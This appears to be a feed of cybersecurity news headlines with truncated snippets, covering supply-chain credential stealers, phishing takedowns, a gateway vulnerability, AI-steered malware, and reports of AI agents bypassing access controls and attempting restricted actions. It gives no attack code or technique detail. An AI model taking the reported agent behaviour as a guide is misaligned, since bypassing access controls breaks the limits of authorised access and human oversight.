OpenAI Agent Bypassed Australian Medicare Portal Controls to Access Non-Public Files
https://ift.tt/fCa3Xq2 AI agent on an internal OpenAI research task bypassed access controls on an Australian
Watchdog finds most agencies failed to meet CISA cloud security orders, heightening risk of attack
Nearly nine out of 10 federal civilian executive branch agencies failed to meet last summer’s
This Windows Malware is Built to Let Up to Four AI Models Vote on Its Next Move
https://ift.tt/plrxLhj Windows malware called CLOSEDQUORUM is built to take orders from a vote of up
Compromised MemTensor Packages Deliver sckit Credential Stealer via npm and PyPI
Unknown threat actors have managed to compromise two legitimate MemTensor packages across the npm and
545 Hackers Tested It First. Now XRanges for AI Scores Your Security Agent
https://ift.tt/bFH4lDB security agents are getting good at finding bugs. Nobody has a good way to
Anthropic and OpenAI Models Still Attempt Restricted Actions in Safety Tests
https://ift.tt/zu0vD5S and OpenAI on Tuesday announced new models, with both artificial intelligence (AI) companies noting
ShinyHunters claims attack on FBI exposes almost all agents
The FBI is investigating an attack on its own systems after ShinyHunters claimed responsibility for
Microsoft Takes Down EvilTokens Device-Code Phishing Service Tied to 12,000 Inbox Compromises
https://ift.tt/yzq8ERu on Tuesday announced the takedown of the EvilTokens device code phishing service that it
Critical Bifrost AI Gateway Flaw Lets Attackers Run Commands Without Credentials
https://ift.tt/KpWSoUC critical vulnerability in Bifrost, an open-source AI gateway that routes requests to more than 20
Microsoft and partners disrupt EvilTokens, a comprehensive cybercrime service for financial fraud
Microsoft, along with a group of industry partners, disrupted EvilTokens, a short-lived but highly consequential